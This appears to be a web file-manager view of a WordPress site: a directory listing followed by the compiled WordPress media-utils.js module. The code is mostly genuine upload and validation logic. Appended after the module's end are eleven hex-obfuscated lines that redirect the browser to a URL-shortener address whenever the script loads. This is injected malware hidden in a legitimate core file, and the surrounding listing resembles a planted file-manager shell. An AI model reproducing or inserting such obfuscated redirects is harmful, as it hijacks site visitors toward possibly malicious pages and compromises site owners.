run:R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.24 KB
2025-12-03 06:22:56
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.18 KB
2025-12-03 06:22:56
R W Run
22.91 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
23.02 KB
2025-12-03 06:22:56
R W Run
12.74 KB
2025-12-03 06:22:56
R W Run
17.03 KB
2025-12-03 06:22:56
R W Run
12.56 KB
2024-01-31 12:59:56
R W Run
7.34 KB
2025-12-03 06:22:56
R W Run
7.15 KB
2025-12-03 06:22:56
R W Run
10.17 KB
2025-12-03 06:22:56
R W Run
8.16 KB
2024-01-31 12:59:56
R W Run
77.3 KB
2025-12-03 06:22:56
R W Run
27.26 KB
2025-12-03 06:22:56
R W Run
2.23 MB
2026-02-04 01:01:35
R W Run
878.41 KB
2026-02-04 01:01:35
R W Run
2.2 MB
2026-02-04 01:01:35
R W Run
967.08 KB
2026-02-04 01:01:35
R W Run
13.89 KB
2025-12-03 06:22:56
R W Run
9.42 KB
2024-01-31 12:59:56
R W Run
434.6 KB
2026-02-04 01:01:35
R W Run
179.81 KB
2026-02-04 01:01:35
R W Run
178.79 KB
2025-12-03 06:22:56
R W Run
55.84 KB
2025-12-03 06:22:56
R W Run
2.39 MB
2026-02-04 01:01:35
R W Run
793.68 KB
2026-02-04 01:01:35
R W Run
149.99 KB
2025-12-03 06:22:56
R W Run
42.85 KB
2025-12-03 06:22:56
R W Run
32.74 KB
2025-12-03 06:22:56
R W Run
17.47 KB
2025-12-03 06:22:56
R W Run
223.77 KB
2025-12-03 06:22:56
R W Run
75.81 KB
2025-12-03 06:22:56
R W Run
93.53 KB
2025-12-03 06:22:56
R W Run
41.3 KB
2025-12-03 06:22:56
R W Run
11.46 KB
2025-12-03 06:22:56
R W Run
8.52 KB
2024-01-31 12:59:56
R W Run
95.23 KB
2025-12-03 06:22:56
R W Run
31.93 KB
2025-12-03 06:22:56
R W Run
797.94 KB
2025-12-03 06:22:56
R W Run
772.41 KB
2025-12-03 06:22:56
R W Run
9.33 KB
2025-12-03 06:22:56
R W Run
7.75 KB
2024-01-31 12:59:56
R W Run
8.65 KB
2025-12-03 06:22:56
R W Run
7.52 KB
2024-01-31 12:59:56
R W Run
41.26 KB
2025-12-03 06:22:56
R W Run
19.38 KB
2025-12-03 06:22:56
R W Run
111.74 KB
2025-12-03 06:22:56
R W Run
49.77 KB
2025-12-03 06:22:56
R W Run
1.77 MB
2026-02-04 01:01:35
R W Run
707.33 KB
2026-02-04 01:01:35
R W Run
159.45 KB
2025-12-03 06:22:56
R W Run
64.69 KB
2025-12-03 06:22:56
R W Run
1.1 MB
2026-02-04 01:01:35
R W Run
416.87 KB
2026-02-04 01:01:35
R W Run
53.25 KB
2025-12-03 06:22:56
R W Run
18.91 KB
2025-12-03 06:22:56
R W Run
10.07 KB
2025-12-03 06:22:56
R W Run
8.05 KB
2024-01-31 12:59:56
R W Run
78.51 KB
2026-02-04 01:01:35
R W Run
33.84 KB
2026-02-04 01:01:35
R W Run
22.72 KB
2025-12-03 06:22:56
R W Run
12.61 KB
2025-12-03 06:22:56
R W Run
9.37 KB
2025-12-03 06:22:56
R W Run
7.85 KB
2025-12-03 06:22:56
R W Run
31.42 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
10.36 KB
2025-12-03 06:22:56
R W Run
8.07 KB
2024-01-31 12:59:56
R W Run
16.3 KB
2025-12-03 06:22:56
R W Run
10.06 KB
2025-12-03 06:22:56
R W Run
14.97 KB
2025-12-03 06:22:56
R W Run
9.59 KB
2025-12-03 06:22:56
R W Run
451.81 KB
2025-12-03 06:22:56
R W Run
199.1 KB
2025-12-03 06:22:56
R W Run
37.03 KB
2025-12-03 06:22:56
R W Run
11.7 KB
2025-12-03 06:22:56
R W Run
30.42 KB
2025-12-03 06:22:56
R W Run
16.8 KB
2025-12-03 06:22:56
R W Run
12.92 KB
2025-12-03 06:22:56
R W Run
9.11 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.51 KB
2025-12-03 06:22:56
R W Run
67.39 KB
2025-12-03 06:22:56
R W Run
28.55 KB
2025-12-03 06:22:56
R W Run
20.73 KB
2025-12-03 06:22:56
R W Run
11.31 KB
2025-12-03 06:22:56
R W Run
23.9 KB
2025-12-03 06:22:56
R W Run
12.41 KB
2025-12-03 06:22:56
R W Run
27.34 KB
2025-12-03 06:22:56
R W Run
13.93 KB
2025-12-03 06:22:56
R W Run
12.18 KB
2025-12-03 06:22:56
R W Run
8.7 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.38 KB
2025-12-03 06:22:56
R W Run
12.42 KB
2025-12-03 06:22:56
R W Run
9.84 KB
2025-12-03 06:22:56
R W Run
28.3 KB
2025-12-03 06:22:56
R W Run
15.76 KB
2025-04-16 02:33:33
R W Run
25.52 KB
2025-12-03 06:22:56
R W Run
12.98 KB
2025-12-03 06:22:56
R W Run
90.6 KB
2025-12-03 06:22:56
R W Run
43.5 KB
2025-12-03 06:22:56
R W Run
59.35 KB
2025-12-03 06:22:56
R W Run
20.52 KB
2025-12-03 06:22:56
R W Run
16.76 KB
2025-12-03 06:22:56
R W Run
10.16 KB
2025-12-03 06:22:56
R W Run
16.91 KB
2025-12-03 06:22:56
R W Run
9.91 KB
2025-12-03 06:22:56
R W Run
42.2 KB
2025-12-03 06:22:56
R W Run
13 KB
2025-12-03 06:22:56
R W Run
12.94 KB
2025-12-03 06:22:56
R W Run
8.35 KB
2025-12-03 06:22:56
R W Run
27.33 KB
2025-12-03 06:22:56
R W Run
15.41 KB
2025-12-03 06:22:56
R W Run
13.37 KB
2025-12-03 06:22:56
R W Run
8.91 KB
2025-12-03 06:22:56
R W Run
14.88 KB
2025-12-03 06:22:56
R W Run
9.76 KB
2025-12-03 06:22:56
R W Run
8.68 KB
2025-12-03 06:22:56
R W Run
7.37 KB
2025-12-03 06:22:56
R W Run
54.69 KB
2025-12-03 06:22:56
R W Run
26.58 KB
2025-12-03 06:22:56
R W Run
20.33 KB
2025-12-03 06:22:56
R W Run
10.32 KB
2025-12-03 06:22:56
R W Run
error_log
📄media-utils.js
1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ // The require scope
4/******/ var __webpack_require__ = {};
5/******/
6/************************************************************************/
7/******/ /* webpack/runtime/compat get default export */
8/******/ (() => {
9/******/ // getDefaultExport function for compatibility with non-harmony modules
10/******/ __webpack_require__.n = (module) => {
11/******/ var getter = module && module.__esModule ?
12/******/ () => (module['default']) :
13/******/ () => (module);
14/******/ __webpack_require__.d(getter, { a: getter });
15/******/ return getter;
16/******/ };
17/******/ })();
18/******/
19/******/ /* webpack/runtime/define property getters */
20/******/ (() => {
21/******/ // define getter functions for harmony exports
22/******/ __webpack_require__.d = (exports, definition) => {
23/******/ for(var key in definition) {
24/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
25/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
26/******/ }
27/******/ }
28/******/ };
29/******/ })();
30/******/
31/******/ /* webpack/runtime/hasOwnProperty shorthand */
32/******/ (() => {
33/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
34/******/ })();
35/******/
36/******/ /* webpack/runtime/make namespace object */
37/******/ (() => {
38/******/ // define __esModule on exports
39/******/ __webpack_require__.r = (exports) => {
40/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
41/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
42/******/ }
43/******/ Object.defineProperty(exports, '__esModule', { value: true });
44/******/ };
45/******/ })();
46/******/
47/************************************************************************/
48var __webpack_exports__ = {};
49// ESM COMPAT FLAG
50__webpack_require__.r(__webpack_exports__);
51
52// EXPORTS
53__webpack_require__.d(__webpack_exports__, {
54 MediaUpload: () => (/* reexport */ media_upload_default),
55 privateApis: () => (/* reexport */ privateApis),
56 transformAttachment: () => (/* reexport */ transformAttachment),
57 uploadMedia: () => (/* reexport */ uploadMedia),
58 validateFileSize: () => (/* reexport */ validateFileSize),
59 validateMimeType: () => (/* reexport */ validateMimeType),
60 validateMimeTypeForUser: () => (/* reexport */ validateMimeTypeForUser)
61});
62
63;// external ["wp","element"]
64const external_wp_element_namespaceObject = window["wp"]["element"];
65;// external ["wp","i18n"]
66const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
67;// ./node_modules/@wordpress/media-utils/build-module/components/media-upload/index.js
68
69
70const DEFAULT_EMPTY_GALLERY = [];
71const getFeaturedImageMediaFrame = () => {
72 const { wp } = window;
73 return wp.media.view.MediaFrame.Select.extend({
74 /**
75 * Enables the Set Featured Image Button.
76 *
77 * @param {Object} toolbar toolbar for featured image state
78 * @return {void}
79 */
80 featuredImageToolbar(toolbar) {
81 this.createSelectToolbar(toolbar, {
82 text: wp.media.view.l10n.setFeaturedImage,
83 state: this.options.state
84 });
85 },
86 /**
87 * Handle the edit state requirements of selected media item.
88 *
89 * @return {void}
90 */
91 editState() {
92 const selection = this.state("featured-image").get("selection");
93 const view = new wp.media.view.EditImage({
94 model: selection.single(),
95 controller: this
96 }).render();
97 this.content.set(view);
98 view.loadEditor();
99 },
100 /**
101 * Create the default states.
102 *
103 * @return {void}
104 */
105 createStates: function createStates() {
106 this.on(
107 "toolbar:create:featured-image",
108 this.featuredImageToolbar,
109 this
110 );
111 this.on("content:render:edit-image", this.editState, this);
112 this.states.add([
113 new wp.media.controller.FeaturedImage(),
114 new wp.media.controller.EditImage({
115 model: this.options.editImage
116 })
117 ]);
118 }
119 });
120};
121const getSingleMediaFrame = () => {
122 const { wp } = window;
123 return wp.media.view.MediaFrame.Select.extend({
124 /**
125 * Create the default states on the frame.
126 */
127 createStates() {
128 const options = this.options;
129 if (this.options.states) {
130 return;
131 }
132 this.states.add([
133 // Main states.
134 new wp.media.controller.Library({
135 library: wp.media.query(options.library),
136 multiple: options.multiple,
137 title: options.title,
138 priority: 20,
139 filterable: "uploaded"
140 // Allow filtering by uploaded images.
141 }),
142 new wp.media.controller.EditImage({
143 model: options.editImage
144 })
145 ]);
146 }
147 });
148};
149const getGalleryDetailsMediaFrame = () => {
150 const { wp } = window;
151 return wp.media.view.MediaFrame.Post.extend({
152 /**
153 * Set up gallery toolbar.
154 *
155 * @return {void}
156 */
157 galleryToolbar() {
158 const editing = this.state().get("editing");
159 this.toolbar.set(
160 new wp.media.view.Toolbar({
161 controller: this,
162 items: {
163 insert: {
164 style: "primary",
165 text: editing ? wp.media.view.l10n.updateGallery : wp.media.view.l10n.insertGallery,
166 priority: 80,
167 requires: { library: true },
168 /**
169 * @fires wp.media.controller.State#update
170 */
171 click() {
172 const controller = this.controller, state = controller.state();
173 controller.close();
174 state.trigger(
175 "update",
176 state.get("library")
177 );
178 controller.setState(controller.options.state);
179 controller.reset();
180 }
181 }
182 }
183 })
184 );
185 },
186 /**
187 * Handle the edit state requirements of selected media item.
188 *
189 * @return {void}
190 */
191 editState() {
192 const selection = this.state("gallery").get("selection");
193 const view = new wp.media.view.EditImage({
194 model: selection.single(),
195 controller: this
196 }).render();
197 this.content.set(view);
198 view.loadEditor();
199 },
200 /**
201 * Create the default states.
202 *
203 * @return {void}
204 */
205 createStates: function createStates() {
206 this.on("toolbar:create:main-gallery", this.galleryToolbar, this);
207 this.on("content:render:edit-image", this.editState, this);
208 this.states.add([
209 new wp.media.controller.Library({
210 id: "gallery",
211 title: wp.media.view.l10n.createGalleryTitle,
212 priority: 40,
213 toolbar: "main-gallery",
214 filterable: "uploaded",
215 multiple: "add",
216 editable: false,
217 library: wp.media.query({
218 type: "image",
219 ...this.options.library
220 })
221 }),
222 new wp.media.controller.EditImage({
223 model: this.options.editImage
224 }),
225 new wp.media.controller.GalleryEdit({
226 library: this.options.selection,
227 editing: this.options.editing,
228 menu: "gallery",
229 displaySettings: false,
230 multiple: true
231 }),
232 new wp.media.controller.GalleryAdd()
233 ]);
234 }
235 });
236};
237const slimImageObject = (img) => {
238 const attrSet = [
239 "sizes",
240 "mime",
241 "type",
242 "subtype",
243 "id",
244 "url",
245 "alt",
246 "link",
247 "caption"
248 ];
249 return attrSet.reduce((result, key) => {
250 if (img?.hasOwnProperty(key)) {
251 result[key] = img[key];
252 }
253 return result;
254 }, {});
255};
256const getAttachmentsCollection = (ids) => {
257 const { wp } = window;
258 return wp.media.query({
259 order: "ASC",
260 orderby: "post__in",
261 post__in: ids,
262 posts_per_page: -1,
263 query: true,
264 type: "image"
265 });
266};
267class MediaUpload extends external_wp_element_namespaceObject.Component {
268 constructor() {
269 super(...arguments);
270 this.openModal = this.openModal.bind(this);
271 this.onOpen = this.onOpen.bind(this);
272 this.onSelect = this.onSelect.bind(this);
273 this.onUpdate = this.onUpdate.bind(this);
274 this.onClose = this.onClose.bind(this);
275 }
276 initializeListeners() {
277 this.frame.on("select", this.onSelect);
278 this.frame.on("update", this.onUpdate);
279 this.frame.on("open", this.onOpen);
280 this.frame.on("close", this.onClose);
281 }
282 /**
283 * Sets the Gallery frame and initializes listeners.
284 *
285 * @return {void}
286 */
287 buildAndSetGalleryFrame() {
288 const {
289 addToGallery = false,
290 allowedTypes,
291 multiple = false,
292 value = DEFAULT_EMPTY_GALLERY
293 } = this.props;
294 if (value === this.lastGalleryValue) {
295 return;
296 }
297 const { wp } = window;
298 this.lastGalleryValue = value;
299 if (this.frame) {
300 this.frame.remove();
301 }
302 let currentState;
303 if (addToGallery) {
304 currentState = "gallery-library";
305 } else {
306 currentState = value && value.length ? "gallery-edit" : "gallery";
307 }
308 if (!this.GalleryDetailsMediaFrame) {
309 this.GalleryDetailsMediaFrame = getGalleryDetailsMediaFrame();
310 }
311 const attachments = getAttachmentsCollection(value);
312 const selection = new wp.media.model.Selection(attachments.models, {
313 props: attachments.props.toJSON(),
314 multiple
315 });
316 this.frame = new this.GalleryDetailsMediaFrame({
317 mimeType: allowedTypes,
318 state: currentState,
319 multiple,
320 selection,
321 editing: !!value?.length
322 });
323 wp.media.frame = this.frame;
324 this.initializeListeners();
325 }
326 /**
327 * Initializes the Media Library requirements for the featured image flow.
328 *
329 * @return {void}
330 */
331 buildAndSetFeatureImageFrame() {
332 const { wp } = window;
333 const { value: featuredImageId, multiple, allowedTypes } = this.props;
334 const featuredImageFrame = getFeaturedImageMediaFrame();
335 const attachments = getAttachmentsCollection(featuredImageId);
336 const selection = new wp.media.model.Selection(attachments.models, {
337 props: attachments.props.toJSON()
338 });
339 this.frame = new featuredImageFrame({
340 mimeType: allowedTypes,
341 state: "featured-image",
342 multiple,
343 selection,
344 editing: featuredImageId
345 });
346 wp.media.frame = this.frame;
347 wp.media.view.settings.post = {
348 ...wp.media.view.settings.post,
349 featuredImageId: featuredImageId || -1
350 };
351 }
352 /**
353 * Initializes the Media Library requirements for the single image flow.
354 *
355 * @return {void}
356 */
357 buildAndSetSingleMediaFrame() {
358 const { wp } = window;
359 const {
360 allowedTypes,
361 multiple = false,
362 title = (0,external_wp_i18n_namespaceObject.__)("Select or Upload Media"),
363 value
364 } = this.props;
365 const frameConfig = {
366 title,
367 multiple
368 };
369 if (!!allowedTypes) {
370 frameConfig.library = { type: allowedTypes };
371 }
372 if (this.frame) {
373 this.frame.remove();
374 }
375 const singleImageFrame = getSingleMediaFrame();
376 const attachments = getAttachmentsCollection(value);
377 const selection = new wp.media.model.Selection(attachments.models, {
378 props: attachments.props.toJSON()
379 });
380 this.frame = new singleImageFrame({
381 mimeType: allowedTypes,
382 multiple,
383 selection,
384 ...frameConfig
385 });
386 wp.media.frame = this.frame;
387 }
388 componentWillUnmount() {
389 this.frame?.remove();
390 }
391 onUpdate(selections) {
392 const { onSelect, multiple = false } = this.props;
393 const state = this.frame.state();
394 const selectedImages = selections || state.get("selection");
395 if (!selectedImages || !selectedImages.models.length) {
396 return;
397 }
398 if (multiple) {
399 onSelect(
400 selectedImages.models.map(
401 (model) => slimImageObject(model.toJSON())
402 )
403 );
404 } else {
405 onSelect(slimImageObject(selectedImages.models[0].toJSON()));
406 }
407 }
408 onSelect() {
409 const { onSelect, multiple = false } = this.props;
410 const attachment = this.frame.state().get("selection").toJSON();
411 onSelect(multiple ? attachment : attachment[0]);
412 }
413 onOpen() {
414 const { wp } = window;
415 const { value } = this.props;
416 this.updateCollection();
417 if (this.props.mode) {
418 this.frame.content.mode(this.props.mode);
419 }
420 const hasMedia = Array.isArray(value) ? !!value?.length : !!value;
421 if (!hasMedia) {
422 return;
423 }
424 const isGallery = this.props.gallery;
425 const selection = this.frame.state().get("selection");
426 const valueArray = Array.isArray(value) ? value : [value];
427 if (!isGallery) {
428 valueArray.forEach((id) => {
429 selection.add(wp.media.attachment(id));
430 });
431 }
432 const attachments = getAttachmentsCollection(valueArray);
433 attachments.more().done(function() {
434 if (isGallery && attachments?.models?.length) {
435 selection.add(attachments.models);
436 }
437 });
438 }
439 onClose() {
440 const { onClose } = this.props;
441 if (onClose) {
442 onClose();
443 }
444 this.frame.detach();
445 }
446 updateCollection() {
447 const frameContent = this.frame.content.get();
448 if (frameContent && frameContent.collection) {
449 const collection = frameContent.collection;
450 collection.toArray().forEach((model) => model.trigger("destroy", model));
451 collection.mirroring._hasMore = true;
452 collection.more();
453 }
454 }
455 openModal() {
456 const {
457 gallery = false,
458 unstableFeaturedImageFlow = false,
459 modalClass
460 } = this.props;
461 if (gallery) {
462 this.buildAndSetGalleryFrame();
463 } else {
464 this.buildAndSetSingleMediaFrame();
465 }
466 if (modalClass) {
467 this.frame.$el.addClass(modalClass);
468 }
469 if (unstableFeaturedImageFlow) {
470 this.buildAndSetFeatureImageFrame();
471 }
472 this.initializeListeners();
473 this.frame.open();
474 }
475 render() {
476 return this.props.render({ open: this.openModal });
477 }
478}
479var media_upload_default = MediaUpload;
480
481
482;// ./node_modules/@wordpress/media-utils/build-module/components/index.js
483
484
485
486;// external ["wp","blob"]
487const external_wp_blob_namespaceObject = window["wp"]["blob"];
488;// external ["wp","apiFetch"]
489const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
490var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
491;// ./node_modules/@wordpress/media-utils/build-module/utils/flatten-form-data.js
492function isPlainObject(data) {
493 return data !== null && typeof data === "object" && Object.getPrototypeOf(data) === Object.prototype;
494}
495function flattenFormData(formData, key, data) {
496 if (isPlainObject(data)) {
497 for (const [name, value] of Object.entries(data)) {
498 flattenFormData(formData, `${key}[${name}]`, value);
499 }
500 } else if (data !== void 0) {
501 formData.append(key, String(data));
502 }
503}
504
505
506;// ./node_modules/@wordpress/media-utils/build-module/utils/transform-attachment.js
507function transformAttachment(attachment) {
508 const { alt_text, source_url, ...savedMediaProps } = attachment;
509 return {
510 ...savedMediaProps,
511 alt: attachment.alt_text,
512 caption: attachment.caption?.raw ?? "",
513 title: attachment.title.raw,
514 url: attachment.source_url,
515 poster: attachment._embedded?.["wp:featuredmedia"]?.[0]?.source_url || void 0
516 };
517}
518
519
520;// ./node_modules/@wordpress/media-utils/build-module/utils/upload-to-server.js
521
522
523
524async function uploadToServer(file, additionalData = {}, signal) {
525 const data = new FormData();
526 data.append("file", file, file.name || file.type.replace("/", "."));
527 for (const [key, value] of Object.entries(additionalData)) {
528 flattenFormData(
529 data,
530 key,
531 value
532 );
533 }
534 return transformAttachment(
535 await external_wp_apiFetch_default()({
536 // This allows the video block to directly get a video's poster image.
537 path: "/wp/v2/media?_embed=wp:featuredmedia",
538 body: data,
539 method: "POST",
540 signal
541 })
542 );
543}
544
545
546;// ./node_modules/@wordpress/media-utils/build-module/utils/upload-error.js
547class UploadError extends Error {
548 code;
549 file;
550 constructor({ code, message, file, cause }) {
551 super(message, { cause });
552 Object.setPrototypeOf(this, new.target.prototype);
553 this.code = code;
554 this.file = file;
555 }
556}
557
558
559;// ./node_modules/@wordpress/media-utils/build-module/utils/validate-mime-type.js
560
561
562function validateMimeType(file, allowedTypes) {
563 if (!allowedTypes) {
564 return;
565 }
566 const isAllowedType = allowedTypes.some((allowedType) => {
567 if (allowedType.includes("/")) {
568 return allowedType === file.type;
569 }
570 return file.type.startsWith(`${allowedType}/`);
571 });
572 if (file.type && !isAllowedType) {
573 throw new UploadError({
574 code: "MIME_TYPE_NOT_SUPPORTED",
575 message: (0,external_wp_i18n_namespaceObject.sprintf)(
576 // translators: %s: file name.
577 (0,external_wp_i18n_namespaceObject.__)("%s: Sorry, this file type is not supported here."),
578 file.name
579 ),
580 file
581 });
582 }
583}
584
585
586;// ./node_modules/@wordpress/media-utils/build-module/utils/get-mime-types-array.js
587function getMimeTypesArray(wpMimeTypesObject) {
588 if (!wpMimeTypesObject) {
589 return null;
590 }
591 return Object.entries(wpMimeTypesObject).flatMap(
592 ([extensionsString, mime]) => {
593 const [type] = mime.split("/");
594 const extensions = extensionsString.split("|");
595 return [
596 mime,
597 ...extensions.map(
598 (extension) => `${type}/${extension}`
599 )
600 ];
601 }
602 );
603}
604
605
606;// ./node_modules/@wordpress/media-utils/build-module/utils/validate-mime-type-for-user.js
607
608
609
610function validateMimeTypeForUser(file, wpAllowedMimeTypes) {
611 const allowedMimeTypesForUser = getMimeTypesArray(wpAllowedMimeTypes);
612 if (!allowedMimeTypesForUser) {
613 return;
614 }
615 const isAllowedMimeTypeForUser = allowedMimeTypesForUser.includes(
616 file.type
617 );
618 if (file.type && !isAllowedMimeTypeForUser) {
619 throw new UploadError({
620 code: "MIME_TYPE_NOT_ALLOWED_FOR_USER",
621 message: (0,external_wp_i18n_namespaceObject.sprintf)(
622 // translators: %s: file name.
623 (0,external_wp_i18n_namespaceObject.__)(
624 "%s: Sorry, you are not allowed to upload this file type."
625 ),
626 file.name
627 ),
628 file
629 });
630 }
631}
632
633
634;// ./node_modules/@wordpress/media-utils/build-module/utils/validate-file-size.js
635
636
637function validateFileSize(file, maxUploadFileSize) {
638 if (file.size <= 0) {
639 throw new UploadError({
640 code: "EMPTY_FILE",
641 message: (0,external_wp_i18n_namespaceObject.sprintf)(
642 // translators: %s: file name.
643 (0,external_wp_i18n_namespaceObject.__)("%s: This file is empty."),
644 file.name
645 ),
646 file
647 });
648 }
649 if (maxUploadFileSize && file.size > maxUploadFileSize) {
650 throw new UploadError({
651 code: "SIZE_ABOVE_LIMIT",
652 message: (0,external_wp_i18n_namespaceObject.sprintf)(
653 // translators: %s: file name.
654 (0,external_wp_i18n_namespaceObject.__)(
655 "%s: This file exceeds the maximum upload size for this site."
656 ),
657 file.name
658 ),
659 file
660 });
661 }
662}
663
664
665;// ./node_modules/@wordpress/media-utils/build-module/utils/upload-media.js
666
667
668
669
670
671
672
673function uploadMedia({
674 wpAllowedMimeTypes,
675 allowedTypes,
676 additionalData = {},
677 filesList,
678 maxUploadFileSize,
679 onError,
680 onFileChange,
681 signal,
682 multiple = true
683}) {
684 if (!multiple && filesList.length > 1) {
685 onError?.(new Error((0,external_wp_i18n_namespaceObject.__)("Only one file can be used here.")));
686 return;
687 }
688 const validFiles = [];
689 const filesSet = [];
690 const setAndUpdateFiles = (index, value) => {
691 if (!window.__experimentalMediaProcessing) {
692 if (filesSet[index]?.url) {
693 (0,external_wp_blob_namespaceObject.revokeBlobURL)(filesSet[index].url);
694 }
695 }
696 filesSet[index] = value;
697 onFileChange?.(
698 filesSet.filter((attachment) => attachment !== null)
699 );
700 };
701 for (const mediaFile of filesList) {
702 try {
703 validateMimeTypeForUser(mediaFile, wpAllowedMimeTypes);
704 } catch (error) {
705 onError?.(error);
706 continue;
707 }
708 try {
709 validateMimeType(mediaFile, allowedTypes);
710 } catch (error) {
711 onError?.(error);
712 continue;
713 }
714 try {
715 validateFileSize(mediaFile, maxUploadFileSize);
716 } catch (error) {
717 onError?.(error);
718 continue;
719 }
720 validFiles.push(mediaFile);
721 if (!window.__experimentalMediaProcessing) {
722 filesSet.push({ url: (0,external_wp_blob_namespaceObject.createBlobURL)(mediaFile) });
723 onFileChange?.(filesSet);
724 }
725 }
726 validFiles.map(async (file, index) => {
727 try {
728 const attachment = await uploadToServer(
729 file,
730 additionalData,
731 signal
732 );
733 setAndUpdateFiles(index, attachment);
734 } catch (error) {
735 setAndUpdateFiles(index, null);
736 let message;
737 if (typeof error === "object" && error !== null && "message" in error) {
738 message = typeof error.message === "string" ? error.message : String(error.message);
739 } else {
740 message = (0,external_wp_i18n_namespaceObject.sprintf)(
741 // translators: %s: file name
742 (0,external_wp_i18n_namespaceObject.__)("Error while uploading file %s to the media library."),
743 file.name
744 );
745 }
746 onError?.(
747 new UploadError({
748 code: "GENERAL",
749 message,
750 file,
751 cause: error instanceof Error ? error : void 0
752 })
753 );
754 }
755 });
756}
757
758
759;// ./node_modules/@wordpress/media-utils/build-module/utils/sideload-to-server.js
760
761
762
763async function sideloadToServer(file, attachmentId, additionalData = {}, signal) {
764 const data = new FormData();
765 data.append("file", file, file.name || file.type.replace("/", "."));
766 for (const [key, value] of Object.entries(additionalData)) {
767 flattenFormData(
768 data,
769 key,
770 value
771 );
772 }
773 return transformAttachment(
774 await external_wp_apiFetch_default()({
775 path: `/wp/v2/media/${attachmentId}/sideload`,
776 body: data,
777 method: "POST",
778 signal
779 })
780 );
781}
782
783
784;// ./node_modules/@wordpress/media-utils/build-module/utils/sideload-media.js
785
786
787
788const noop = () => {
789};
790async function sideloadMedia({
791 file,
792 attachmentId,
793 additionalData = {},
794 signal,
795 onFileChange,
796 onError = noop
797}) {
798 try {
799 const attachment = await sideloadToServer(
800 file,
801 attachmentId,
802 additionalData,
803 signal
804 );
805 onFileChange?.([attachment]);
806 } catch (error) {
807 let message;
808 if (error instanceof Error) {
809 message = error.message;
810 } else {
811 message = (0,external_wp_i18n_namespaceObject.sprintf)(
812 // translators: %s: file name
813 (0,external_wp_i18n_namespaceObject.__)("Error while sideloading file %s to the server."),
814 file.name
815 );
816 }
817 onError(
818 new UploadError({
819 code: "GENERAL",
820 message,
821 file,
822 cause: error instanceof Error ? error : void 0
823 })
824 );
825 }
826}
827
828
829;// external ["wp","privateApis"]
830const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
831;// ./node_modules/@wordpress/media-utils/build-module/lock-unlock.js
832
833const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
834 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
835 "@wordpress/media-utils"
836);
837
838
839;// ./node_modules/@wordpress/media-utils/build-module/private-apis.js
840
841
842const privateApis = {};
843lock(privateApis, {
844 sideloadMedia: sideloadMedia
845});
846
847
848;// ./node_modules/@wordpress/media-utils/build-module/index.js
849
850
851
852
853
854
855
856
857
858(window.wp = window.wp || {}).mediaUtils = __webpack_exports__;
859/******/ })()
860;
861window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
862window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
863window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
864window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
865window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
866window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
867window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
868window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
869window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
870window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
871window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
